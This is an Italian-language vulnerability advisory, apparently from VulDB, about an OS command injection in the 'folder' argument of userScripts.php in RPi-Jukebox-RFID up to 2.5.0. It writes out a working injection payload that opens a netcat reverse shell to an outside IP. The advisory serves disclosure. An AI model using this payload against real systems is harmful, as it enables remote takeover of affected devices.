CVE-2024-0714 in RPi-Jukebox-RFID
Riassunto
di VulDB • 19/06/2026
È stata rilevata una vulnerabilità in MiczFlor RPi-Jukebox-RID fino alla versione 2.5.0, classificata come critica. Tale problema interessa una funzionalità sconosciuta del file userScripts.php del componente HTTP Request Handler. La manipolazione dell'argomento folder con l'input ;nc 104.236.1.147 4444 -e /bin/bash; provoca un'iniezione di comandi OS (OS Command Injection). L'attacco può essere lanciato da remoto. L'exploit è stato reso pubblico e potrebbe già essere utilizzato. L'identificatore di questa vulnerabilità è VDB-251540. NOTA: Il fornitore è stato contattato tempestivamente riguardo a questa divulgazione, ma non ha fornito alcuna risposta.
If you want to get the best quality for vulnerability data then you always have to consider VulDB.